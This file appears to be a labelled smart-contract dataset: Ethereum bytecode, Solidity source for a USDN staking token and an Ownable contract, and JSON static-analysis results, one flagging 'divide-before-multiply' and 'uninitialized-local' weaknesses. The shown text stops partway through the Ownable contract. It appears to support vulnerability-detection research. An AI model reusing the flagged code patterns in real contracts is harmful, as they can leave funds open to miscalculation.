5b50803590602001356105bf565b610293610624565b6040805160ff9092168252519081900360200190f35b61023961062d565b610239610633565b610239600480360360208110156102cf57600080fd5b50356001600160a01b0316610639565b61023961064b565b61030d600480360360208110156102fd57600080fd5b50356001600160a01b03166106e2565b005b6102396004803603604081101561032557600080fd5b5080359060200135610782565b6102396004803603604081101561034857600080fd5b5080359060200135610797565b6102396107ef565b6102396004803603602081101561037357600080fd5b50356107f5565b61030d6004803603602081101561039057600080fd5b50356001600160a01b031661080c565b6103a8610a05565b6040805192835290151560208301528051918290030190f35b6103c9610a3d565b604080516001600160a01b039092168252519081900360200190f35b610239600480360360408110156103fb57600080fd5b5080359060200135610a4c565b610239610a9d565b610239610aac565b6103c9610b07565b610239610b16565b61030d6004803603604081101561043e57600080fd5b50803590602001356001600160a01b0316610b1c565b610239610d06565b610239610d0c565b61030d6004803603602081101561047a57600080fd5b50356001600160a01b0316610d18565b610239610db7565b610239600480360360408110156104a857600080fd5b5080359060200135610dbd565b610239610dd5565b610239600480360360608110156104d357600080fd5b5080359060208101359060400135610ddb565b610239610e99565b6102396004803603604081101561050457600080fd5b5080359060200135610e9f565b610239610eb8565b6102396004803603604081101561052f57600080fd5b5080359060200135610ebe565b6102396004803603604081101561055257600080fd5b5080359060200135610fbe565b61030d6004803603604081101561057557600080fd5b5080359060200135610fd3565b6000676765c793fa10079d601b1b61059a84846105bf565b816105a157fe5b049392505050565b60006105b982633b9aca006105bf565b92915050565b60008115806105da575050808202828282816105d757fe5b04145b6105b9576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6d756c2d6f766572666c6f7760501b604482015290519081900360640190fd5b600b5460ff1681565b60015481565b60035481565b60006020819052908152604090205481565b600554604080516375ad331760e11b81523060048201528151600093849384936001600160a01b039092169263eb5a662e926024808201939291829003018186803b15801561069957600080fd5b505afa1580156106ad573d6000803e3d6000fd5b505050506040513d60408110156106c357600080fd5b50805160209091015190925090506106db8282610e9f565b9250505090565b336000908152602081905260409020546001146107305760405162461bcd60e51b815260040180806020018281038252603681526020018061165d6036913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6000670de0b6b3a764000061059a84846105bf565b808203828111156105b9576040805162461bcd60e51b815260206004820152601760248201527f75696e742d75696e742d7375622d756e646572666c6f77000000000000000000604482015290519081900360640190fd5b60045481565b60006105b982676765c793fa10079d601b1b6105bf565b600654604080516350d25bcd60e01b815290516000926001600160a01b0316916350d25bcd91600480830192602092919082900301818787803b15801561085257600080fd5b505af1158015610866573d6000803e3d6000fd5b505050506040513d602081101561087c57600080fd5b505160065460408051634102dfb560e11b815290519293506000926001600160a01b0390921691638205bf6a9160048082019260209290919082900301818787803b1580156108ca57600080fd5b505af11580156108de573d6000803e3d6000fd5b505050506040513d60208110156108f457600080fd5b50519050600082136109375760405162461bcd60e51b815260040180806020018281038252602f81526020018061159c602f913960400191505060405180910390fd5b610948600082116009548311611297565b6109835760405162461bcd60e51b815260040180806020018281038252602e815260200180611508602e913960400191505060405180910390fd5b6000610993600a54600754610ebe565b600b549091506109aa90849060ff16600a0a6105bf565b6008819055600983905542600a81905560408051928352602083019190915280517ff85e44c6c3597d176b8d59bfbf500dfdb2badfc8cf91e6d960b16583a5807e489281900390910190a16109ff848261129b565b50505050565b600080600854610a35600060085411610a22600754600c546105bf565b610a2e42600954610797565b1115611297565b915091509091565b6006546001600160a01b031681565b818101828110156105b9576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6164642d6f766572666c6f7760501b604482015290519081900360640190fd5b676765c793fa10079d601b1b81565b6000610ac5600060085411610a22600754600c546105bf565b610b005760405162461bcd60e51b815260040180806020018281038252602f81526020018061159c602f913960400191505060405180910390fd5b5060085490565b6005546001600160a01b031681565b60095481565b33600090815260208190526040902054600114610b6a5760405162461bcd60e51b815260040180806020018281038252603681526020018061165d6036913960400191505060405180910390fd5b816930b3b3b932b3b0ba37b960b11b1415610b9f57600680546001600160a01b0319166001600160a01b038316179055610cbf565b8167747265617375727960c01b1415610c885760006001600160a01b0316816001600160a01b031663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf657600080fd5b505afa158015610c0a573d6000803e3d6000fd5b505050506040513d6020811015610c2057600080fd5b50516001600160a01b03161415610c685760405162461bcd60e51b815260040180806020018281038252603281526020018061156a6032913960400191505060405180910390fd5b600580546001600160a01b0319166001600160a01b038316179055610cbf565b60405162461bcd60e51b81526004018080602001828103825260368152602001806116276036913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b60025481565b670de0b6b3a764000081565b33600090815260208190526040902054600114610d665760405162461bcd60e51b815260040180806020018281038252603681526020018061165d6036913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b600d5481565b60008161059a84676765c793fa10079d601b1b6105bf565b600a5481565b6000838015610e7b57600184168015610df657859250610dfa565b8392505b50600283046002850494505b8415610e75578586028687820414610e1d57600080fd5b81810181811015610e2d57600080fd5b8590049650506001851615610e6a578583028387820414158715151615610e5357600080fd5b81810181811015610e6357600080fd5b8590049350505b600285049450610e06565b50610e91565b838015610e8b5760009250610e8f565b8392505b505b509392505050565b600c5481565b600081831115610eaf5781610eb1565b825b9392505050565b60075481565b6000806001546000148015610ed35750600254155b9050610ee242851015826114cc565b15610ef15760009150506105b9565b60008415610f0857610f034286610797565b610f0a565b835b9050610f1d8482106001546000146114cc565b15610f2d576000925050506105b9565b6000610f398286610797565b90506000610f64600254676765c793fa10079d601b1b610f5761064b565b81610f5e57fe5b04610e9f565b9050600354821115610f7b5793506105b992505050565b6001548215610fa857610fa5610f9f60045485676765c793fa10079d601b1b610ddb565b82610582565b90505b81811115610fb35750805b979650505050505050565b60008161059a84670de0b6b3a76400006105bf565b336000908152602081905260409020546001146110215760405162461bcd60e51b815260040180806020018281038252603681526020018061165d6036913960400191505060405180910390fd5b817518985cd9555c19185d1950d85b1b195c94995dd85c9960521b141561104c576001819055611258565b81741b585e155c19185d1950d85b1b195c94995dd85c99605a1b14156110b65760015481116110ac5760405162461bcd60e51b815260040180806020018281038252602f8152602001806115f8602f913960400191505060405180910390fd5b6002819055611258565b817f7065725365636f6e6443616c6c6572526577617264496e637265617365000000141561113257676765c793fa10079d601b1b8110156111285760405162461bcd60e51b81526004018080602001828103825260348152602001806116936034913960400191505060405180910390fd5b6004819055611258565b81756d6178526577617264496e63726561736544656c617960501b141561119c57600081116111925760405162461bcd60e51b81526004018080602001828103825260378152602001806114d16037913960400191505060405180910390fd5b6003819055611258565b8169706572696f6453697a6560b01b14156111fa57600081116111f05760405162461bcd60e51b815260040180806020018281038252602d8152602001806115cb602d913960400191505060405180910390fd5b6007819055611258565b816d1cdd185b19551a1c995cda1bdb1960921b1415610c8857600181116112525760405162461bcd60e51b81526004018080602001828103825260348152602001806115366034913960400191505060405180910390fd5b600c8190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b1690565b6005546001600160a01b03838116911614156112b6576114c8565b6005546112ce906001600160a01b03161582156114cc565b156112d8576114c8565b60006001600160a01b038316156112ef57826112f1565b335b6005546040805163a7e9445560e01b815290519293506001600160a01b039091169163201add9b918491849163a7e94455916004808301926020929190829003018186803b15801561134257600080fd5b505afa158015611356573d6000803e3d6000fd5b505050506040513d602081101561136c57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820186905251606480830192600092919082900301818387803b1580156113c457600080fd5b505af19250505080156113d5575060015b6114c6573d808015611403576040519150601f19603f3d011682016040523d82523d6000602084013e611408565b606091505b507ff7bf1f7447ce563690edb2abe40636178ff64fc766b07bf3e171b16102794a548183856040518080602001846001600160a01b03166001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015611488578181015183820152602001611470565b50505050905090810190601f1680156114b55780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1505b505b5050565b179056fe436861696e6c696e6b5072696365466565644d656469616e697a65722f696e76616c69642d6d61782d696e6372656173652d64656c6179436861696e6c696e6b5072696365466565644d656469616e697a65722f696e76616c69642d74696d657374616d70436861696e6c696e6b5072696365466565644d656469616e697a65722f696e76616c69642d7374616c652d7468726573686f6c64436861696e6c696e6b5072696365466565644d656469616e697a65722f74726561737572792d636f696e2d6e6f742d736574436861696e6c696e6b5072696365466565644d656469616e697a65722f696e76616c69642d70726963652d66656564436861696e6c696e6b5072696365466565644d656469616e697a65722f6e756c6c2d706572696f642d73697a65436861696e6c696e6b5072696365466565644d656469616e697a65722f696e76616c69642d6d61782d726577617264436861696e6c696e6b5072696365466565644d656469616e697a65722f6d6f646966792d756e7265636f676e697a65642d706172616d496e6372656173696e6754726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a6564436861696e6c696e6b5072696365466565644d656469616e697a65722f696e76616c69642d7265776172642d696e637265617365a2646970667358221220f9269b00ff9a4ecb5b66e62421ec1603a6600805145c3b3fa86e67b2af55a26064736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,335
0xd59f52736839746d16777b344d34bbea7d5a342a
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.8; interface Staking { function deposit(address account, uint256 amount) external returns (bool); function withdraw(address account) external returns (bool); function stake(uint256 reward) external returns (bool); event Reward(uint256 id, uint256 amount); } interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address private _owner; address private _admin; constructor () public { _owner = msg.sender; _admin = msg.sender; } modifier onlyOwner() { require(_owner == msg.sender || _admin == msg.sender, "Ownable: caller is not the owner or admin"); _; } function transferOwnership(address newOwner) external virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _owner = newOwner; } } abstract contract Deprecateble is Ownable { bool internal deprecated; modifier onlyNotDeprecated() { require(!deprecated, "Deprecateble: contract is deprecated"); _; } function deprecate() external onlyOwner { deprecated = true; emit Deprecate(msg.sender); } event Deprecate(address indexed account); } abstract contract StandartToken is Staking, ERC20, Ownable, Deprecateble { uint256[] private _percents; uint256 private _liquidTotalSupply; uint256 private _liquidDeposit; uint256 constant private PERCENT_FACTOR = 10 ** 12; mapping(address => uint256) private _balances; mapping(address => uint256) private _deposits; mapping(address => uint256) private _rewardIndexForAccount; mapping(address => mapping(address => uint256)) private _allowances; constructor () public { _percents.push(PERCENT_FACTOR); } function deposit(address account, uint256 amount) external onlyOwner onlyNotDeprecated override virtual returns (bool) { require(amount > 0, "amount should be > 0"); require(account != address(0), "deposit to the zero address"); uint256 liquidDeposit = _liquidDeposit; require(liquidDeposit + amount >= liquidDeposit, "addition overflow for deposit"); _liquidDeposit = liquidDeposit + amount; uint256 oldDeposit = _deposits[account]; if (oldDeposit == 0) { _balances[account] = balanceOf(account); _rewardIndexForAccount[account] = _percents.length - 1; _deposits[account] = amount; } else { uint256 rewardIndex = _rewardIndexForAccount[account]; if (rewardIndex == _percents.length - 1) { require(oldDeposit + amount >= oldDeposit, "addition overflow for deposit"); _deposits[account] = oldDeposit + amount; } else { _balances[account] = balanceOf(account); _rewardIndexForAccount[account] = _percents.length - 1; _deposits[account] = amount; } } emit Transfer(address(0), account, amount); return true; } function stake(uint256 reward) external onlyOwner onlyNotDeprecated override virtual returns (bool) { require(reward > 0, "reward should be > 0"); uint256 liquidTotalSupply = _liquidTotalSupply; uint256 liquidDeposit = _liquidDeposit; if (liquidTotalSupply == 0) { _percents.push(PERCENT_FACTOR); } else { uint256 oldPercent = _percents[_percents.length - 1]; uint256 percent = reward * PERCENT_FACTOR / liquidTotalSupply; require(percent + PERCENT_FACTOR >= percent, "addition overflow for percent"); uint256 newPercent = percent + PERCENT_FACTOR; _percents.push(newPercent * oldPercent / PERCENT_FACTOR); require(liquidTotalSupply + reward >= liquidTotalSupply, "addition overflow for total supply + reward"); liquidTotalSupply = liquidTotalSupply + reward; } require(liquidTotalSupply + liquidDeposit >= liquidTotalSupply, "addition overflow for total supply"); _liquidTotalSupply = liquidTotalSupply + liquidDeposit; _liquidDeposit = 0; emit Reward(_percents.length, reward); return true; } function withdraw(address account) external onlyOwner onlyNotDeprecated override virtual returns (bool) { uint256 oldDeposit = _deposits[account]; uint256 rewardIndex = _rewardIndexForAccount[account]; if (rewardIndex == _percents.length - 1) { uint256 balance = _balances[account]; require(balance <= _liquidTotalSupply, "subtraction overflow for total supply"); _liquidTotalSupply = _liquidTotalSupply - balance; require(oldDeposit <= _liquidDeposit, "subtraction overflow for liquid deposit"); _liquidDeposit = _liquidDeposit - oldDeposit; require(balance + oldDeposit >= balance, "addition overflow for total balance + oldDeposit"); emit Transfer(account, address(0), balance + oldDeposit); } else { uint256 balance = balanceOf(account); uint256 liquidTotalSupply = _liquidTotalSupply; require(balance <= liquidTotalSupply, "subtraction overflow for total supply"); _liquidTotalSupply = liquidTotalSupply - balance; emit Transfer(account, address(0), balance); } _balances[account] = 0; _deposits[account] = 0; return true; } // ERC20 function totalSupply() external view override virtual returns (uint256) { uint256 liquidTotalSupply = _liquidTotalSupply; uint256 liquidDeposit = _liquidDeposit; require(liquidTotalSupply + liquidDeposit >= liquidTotalSupply, "addition overflow for total supply"); return liquidTotalSupply + liquidDeposit; } function balanceOf(address account) public view override virtual returns (uint256) { uint256 balance = _balances[account]; uint256 oldDeposit = _deposits[account]; if (balance == 0 && oldDeposit == 0) { return 0; } uint256 rewardIndex = _rewardIndexForAccount[account]; if (rewardIndex == _percents.length - 1) { require(balance + oldDeposit >= balance, "addition overflow for balance"); return balance + oldDeposit; } if (oldDeposit == 0) { uint256 profit = _percents[_percents.length - 1]; return profit * balance / _percents[rewardIndex]; } else { uint256 newBalance = balance * _percents[_percents.length - 1] / _percents[rewardIndex]; uint256 profit = oldDeposit * _percents[_percents.length - 1] / _percents[rewardIndex + 1]; require(profit + newBalance >= newBalance, "addition overflow for balance"); return profit + newBalance; } } function allowance(address owner, address spender) external view override virtual returns (uint256) { return _allowances[owner][spender]; } function _approve(address owner, address spender, uint256 amount) internal onlyNotDeprecated virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) external override virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external override virtual returns (bool) { uint256 temp = _allowances[msg.sender][spender]; require(temp + addedValue >= temp, "addition overflow"); _approve(msg.sender, spender, temp + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external override virtual returns (bool) { uint256 temp = _allowances[msg.sender][spender]; require(subtractedValue <= temp, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, temp - subtractedValue); return true; } function transfer(address recipient, uint256 amount) external override virtual returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override virtual returns (bool) { _transfer(sender, recipient, amount); uint256 temp = _allowances[sender][msg.sender]; require(amount <= temp, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, temp - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal onlyNotDeprecated virtual { require(amount > 0, "amount should be > 0"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 oldDeposit = _deposits[sender]; uint256 rewardIndex = _rewardIndexForAccount[sender]; uint256 depositDiff = 0; if (oldDeposit == 0 || rewardIndex != _percents.length - 1) { uint256 senderBalance = balanceOf(sender); require(amount <= senderBalance, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _deposits[sender] = 0; _rewardIndexForAccount[sender] = _percents.length - 1; } else { if (amount <= oldDeposit) { _deposits[sender] = oldDeposit - amount; depositDiff = amount; } else { uint256 senderBalance = _balances[sender]; require(amount - oldDeposit <= senderBalance, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - (amount - oldDeposit); _deposits[sender] = 0; depositDiff = oldDeposit; } } oldDeposit = _deposits[recipient]; rewardIndex = _rewardIndexForAccount[recipient]; if (oldDeposit == 0 || rewardIndex != _percents.length - 1) { uint256 recipientBalance = balanceOf(recipient); require((amount - depositDiff) + recipientBalance >= recipientBalance, "ERC20: addition overflow for recipient balance"); _balances[recipient] = recipientBalance + (amount - depositDiff); _rewardIndexForAccount[recipient] = _percents.length - 1; _deposits[recipient] = depositDiff; } else { uint256 recipientBalance = _balances[recipient]; _balances[recipient] = recipientBalance + (amount - depositDiff); _deposits[recipient] = oldDeposit + depositDiff; } emit Transfer(sender, recipient, amount); } } contract USDN is StandartToken { function name() external pure returns (string memory) { return "Neutrino USD"; } function symbol() external pure returns (string memory) { return "USDN"; } function decimals() external pure returns (uint8) { return 18; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806351cff8d911610097578063a694fc3a11610066578063a694fc3a14610312578063a9059cbb1461032f578063dd62ed3e1461035b578063f2fde38b1461038957610100565b806351cff8d91461029257806370a08231146102b857806395d89b41146102de578063a457c2d7146102e657610100565b806323b872dd116100d357806323b872dd146101e6578063313ce5671461021c578063395093511461023a57806347e7ef241461026657610100565b806306fdde0314610105578063095ea7b3146101825780630fcc0c28146101c257806318160ddd146101cc575b600080fd5b61010d6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b0381351690602001356103d5565b604080519115158252519081900360200190f35b6101ca6103eb565b005b6101d4610489565b60408051918252519081900360200190f35b6101ae600480360360608110156101fc57600080fd5b506001600160a01b038135811691602081013590911690604001356104da565b610224610562565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561025057600080fd5b506001600160a01b038135169060200135610567565b6101ae6004803603604081101561027c57600080fd5b506001600160a01b0381351690602001356105ed565b6101ae600480360360208110156102a857600080fd5b50356001600160a01b0316610920565b6101d4600480360360208110156102ce57600080fd5b50356001600160a01b0316610bdb565b61010d610de6565b6101ae600480360360408110156102fc57600080fd5b506001600160a01b038135169060200135610e04565b6101ae6004803603602081101561032857600080fd5b5035610e74565b6101ae6004803603604081101561034557600080fd5b506001600160a01b03813516906020013561114b565b6101d46004803603604081101561037157600080fd5b506001600160a01b0381358116916020013516611158565b6101ca6004803603602081101561039f57600080fd5b50356001600160a01b0316611183565b60408051808201909152600c81526b13995d5d1c9a5b9bc81554d160a21b602082015290565b60006103e2338484611248565b50600192915050565b6000546001600160a01b031633148061040e57506001546001600160a01b031633145b6104495760405162461bcd60e51b81526004018080602001828103825260298152602001806118806029913960400191505060405180910390fd5b6001805460ff60a01b1916600160a01b17905560405133907fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e90600090a2565b600354600454600091908082018211156104d45760405162461bcd60e51b81526004018080602001828103825260228152602001806118f66022913960400191505060405180910390fd5b01905090565b60006104e784848461137d565b6001600160a01b03841660009081526008602090815260408083203384529091529020548083111561054a5760405162461bcd60e51b81526004018080602001828103825260288152602001806118a96028913960400191505060405180910390fd5b6105578533858403611248565b506001949350505050565b601290565b3360009081526008602090815260408083206001600160a01b03861684529091528120548281018111156105d6576040805162461bcd60e51b81526020600482015260116024820152706164646974696f6e206f766572666c6f7760781b604482015290519081900360640190fd5b6105e33385858401611248565b5060019392505050565b600080546001600160a01b031633148061061157506001546001600160a01b031633145b61064c5760405162461bcd60e51b81526004018080602001828103825260298152602001806118806029913960400191505060405180910390fd5b600154600160a01b900460ff16156106955760405162461bcd60e51b81526004018080602001828103825260248152602001806119cd6024913960400191505060405180910390fd5b600082116106e1576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b6001600160a01b03831661073c576040805162461bcd60e51b815260206004820152601b60248201527f6465706f73697420746f20746865207a65726f20616464726573730000000000604482015290519081900360640190fd5b600454828101811115610796576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f72206465706f736974000000604482015290519081900360640190fd5b8083016004556001600160a01b03841660009081526006602052604090205480610801576107c385610bdb565b6001600160a01b03861660009081526005602090815260408083209390935560025460078252838320600019909101905560069052208490556108e6565b6001600160a01b038516600090815260076020526040902054600254600019018114156108a15781858301101561087f576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f72206465706f736974000000604482015290519081900360640190fd5b6001600160a01b038616600090815260066020526040902082860190556108e4565b6108aa86610bdb565b6001600160a01b03871660009081526005602090815260408083209390935560025460078252838320600019909101905560069052208590555b505b6040805185815290516001600160a01b0387169160009160008051602061193f8339815191529181900360200190a3506001949350505050565b600080546001600160a01b031633148061094457506001546001600160a01b031633145b61097f5760405162461bcd60e51b81526004018080602001828103825260298152602001806118806029913960400191505060405180910390fd5b600154600160a01b900460ff16156109c85760405162461bcd60e51b81526004018080602001828103825260248152602001806119cd6024913960400191505060405180910390fd5b6001600160a01b03821660009081526006602090815260408083205460079092529091205460025460001901811415610b22576001600160a01b038416600090815260056020526040902054600354811115610a555760405162461bcd60e51b81526004018080602001828103825260258152602001806118d16025913960400191505060405180910390fd5b600380548290039055600454831115610a9f5760405162461bcd60e51b81526004018080602001828103825260278152602001806119186027913960400191505060405180910390fd5b8260045403600481905550808382011015610aeb5760405162461bcd60e51b81526004018080602001828103825260308152602001806117896030913960400191505060405180910390fd5b60408051828501815290516000916001600160a01b0388169160008051602061193f8339815191529181900360200190a350610baa565b6000610b2d85610bdb565b60035490915080821115610b725760405162461bcd60e51b81526004018080602001828103825260258152602001806118d16025913960400191505060405180910390fd5b8181036003556040805183815290516000916001600160a01b0389169160008051602061193f8339815191529181900360200190a350505b5050506001600160a01b0381166000908152600560209081526040808320839055600690915281205560015b919050565b6001600160a01b038116600090815260056020908152604080832054600690925282205481158015610c0b575080155b15610c1b57600092505050610bd6565b6001600160a01b03841660009081526007602052604090205460025460001901811415610ca257828284011015610c99576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722062616c616e6365000000604482015290519081900360640190fd5b50019050610bd6565b81610cf85760028054600091906000198101908110610cbd57fe5b9060005260206000200154905060028281548110610cd757fe5b906000526020600020015484820281610cec57fe5b04945050505050610bd6565b600060028281548110610d0757fe5b600091825260209091200154600280546000198101908110610d2557fe5b9060005260206000200154850281610d3957fe5b049050600060028360010181548110610d4e57fe5b600091825260209091200154600280546000198101908110610d6c57fe5b9060005260206000200154850281610d8057fe5b049050818282011015610dda576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722062616c616e6365000000604482015290519081900360640190fd5b019350610bd692505050565b6040805180820190915260048152632aa9a22760e11b602082015290565b3360009081526008602090815260408083206001600160a01b038616845290915281205480831115610e675760405162461bcd60e51b81526004018080602001828103825260258152602001806119a86025913960400191505060405180910390fd5b6105e33385858403611248565b600080546001600160a01b0316331480610e9857506001546001600160a01b031633145b610ed35760405162461bcd60e51b81526004018080602001828103825260298152602001806118806029913960400191505060405180910390fd5b600154600160a01b900460ff1615610f1c5760405162461bcd60e51b81526004018080602001828103825260248152602001806119cd6024913960400191505060405180910390fd5b60008211610f68576040805162461bcd60e51b815260206004820152601460248201527307265776172642073686f756c64206265203e20360641b604482015290519081900360640190fd5b60035460045481610fb3576002805460018101825560009190915264e8d4a510007f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace909101556110b8565b60028054600091906000198101908110610fc957fe5b9060005260206000200154905060008364e8d4a51000870281610fe857fe5b0490508064e8d4a5100082011015611047576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722070657263656e74000000604482015290519081900360640190fd5b64e8d4a51000818101906002908483028254600181018455600093845260209093209190049101558685018511156110b05760405162461bcd60e51b815260040180806020018281038252602b815260200180611855602b913960400191505060405180910390fd5b505050908301905b8181830110156110f95760405162461bcd60e51b81526004018080602001828103825260228152602001806118f66022913960400191505060405180910390fd5b8181016003556000600455600254604080519182526020820186905280517f45cad8c10023de80f4c0672ff6c283b671e11aa93c92b9380cdf060d2790da529281900390910190a15060019392505050565b60006103e233848461137d565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314806111a657506001546001600160a01b031633145b6111e15760405162461bcd60e51b81526004018080602001828103825260298152602001806118806029913960400191505060405180910390fd5b6001600160a01b0381166112265760405162461bcd60e51b81526004018080602001828103825260268152602001806117b96026913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600154600160a01b900460ff16156112915760405162461bcd60e51b81526004018080602001828103825260248152602001806119cd6024913960400191505060405180910390fd5b6001600160a01b0383166112d65760405162461bcd60e51b81526004018080602001828103825260248152602001806119846024913960400191505060405180910390fd5b6001600160a01b03821661131b5760405162461bcd60e51b81526004018080602001828103825260228152602001806117df6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600154600160a01b900460ff16156113c65760405162461bcd60e51b81526004018080602001828103825260248152602001806119cd6024913960400191505060405180910390fd5b60008111611412576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b6001600160a01b0383166114575760405162461bcd60e51b815260040180806020018281038252602581526020018061195f6025913960400191505060405180910390fd5b6001600160a01b03821661149c5760405162461bcd60e51b81526004018080602001828103825260238152602001806117666023913960400191505060405180910390fd5b6001600160a01b038316600090815260066020908152604080832054600790925282205490918215806114d55750600254600019018214155b1561156a5760006114e587610bdb565b9050808511156115265760405162461bcd60e51b81526004018080602001828103825260268152602001806118016026913960400191505060405180910390fd5b6001600160a01b038716600090815260056020908152604080832093889003909355600681528282208290556002546007909152919020600019909101905561161e565b82841161159557506001600160a01b038516600090815260066020526040902083830390558261161e565b6001600160a01b0386166000908152600560205260409020548385038110156115ef5760405162461bcd60e51b81526004018080602001828103825260268152602001806118016026913960400191505060405180910390fd5b6001600160a01b0387166000908152600560209081526040808320878903909403909355600690529081205550815b6001600160a01b038516600090815260066020908152604080832054600790925290912054909350915082158061165b5750600254600019018214155b156116f457600061166b86610bdb565b905080818387030110156116b05760405162461bcd60e51b815260040180806020018281038252602e815260200180611827602e913960400191505060405180910390fd5b6001600160a01b0386166000908152600560209081526040808320858903949094019093556002546007825283832060001990910190556006905220819055611724565b6001600160a01b038516600090815260056020908152604080832080548589030190556006909152902083820190555b846001600160a01b0316866001600160a01b031660008051602061193f833981519152866040518082815260200191505060405180910390a350505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573736164646974696f6e206f766572666c6f7720666f7220746f74616c2062616c616e6365202b206f6c644465706f7369744f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a206164646974696f6e206f766572666c6f7720666f7220726563697069656e742062616c616e63656164646974696f6e206f766572666c6f7720666f7220746f74616c20737570706c79202b207265776172644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572206f722061646d696e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63657375627472616374696f6e206f766572666c6f7720666f7220746f74616c20737570706c796164646974696f6e206f766572666c6f7720666f7220746f74616c20737570706c797375627472616374696f6e206f766572666c6f7720666f72206c6971756964206465706f736974ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f446570726563617465626c653a20636f6e74726163742069732064657072656361746564a26469706673582212206b9039a0fe86d0aa61d1bb11d7c0b968995eabc0df99a6250cc879d1bf7466f664736f6c63430006080033
{"success": true, "error": null, "results": {}}
1,336
0xee10638c311eeb0bbacea3ec7f04c94ca7d709a0
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); 